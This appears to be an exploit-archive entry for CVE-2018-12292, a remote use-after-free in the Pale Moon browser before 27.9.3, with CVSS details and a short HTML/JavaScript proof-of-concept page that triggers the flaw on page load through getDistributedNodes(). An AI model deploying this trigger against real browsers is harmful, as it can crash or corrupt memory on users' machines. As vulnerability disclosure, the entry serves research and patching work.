Pale Moon Browser Use-After-Free

2018.06.18

Credit: Berk Cem Goksel

Risk: High

Local: No

Remote: Yes

CVE: CVE-2018-12292

CWE: CWE-416

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC)
# Date: 2018-06-13
# Author - Berk Cem Goksel
# Vendor Homepage: https://www.palemoon.org/
# Software Link: https://www.palemoon.org/palemoon-win32.shtml
# Version: Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)
# Tested on: Windows 10
# Category: Windows Remote Exploit
# CVE : CVE-2018-12292
<html>
<head>
<style>
</style>
<script>
function SetVariable(fuzzervars, var_name, var_type) {
fuzzervars[var_type] = var_name;
}
function jsfuzzer() {
var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList');
}
</script>
</head>
<body onload=jsfuzzer()>
<!-- beginhtml -->
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
<!-- endhtml -->
</body>
</html>

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Pale Moon Browser Use-After-Free

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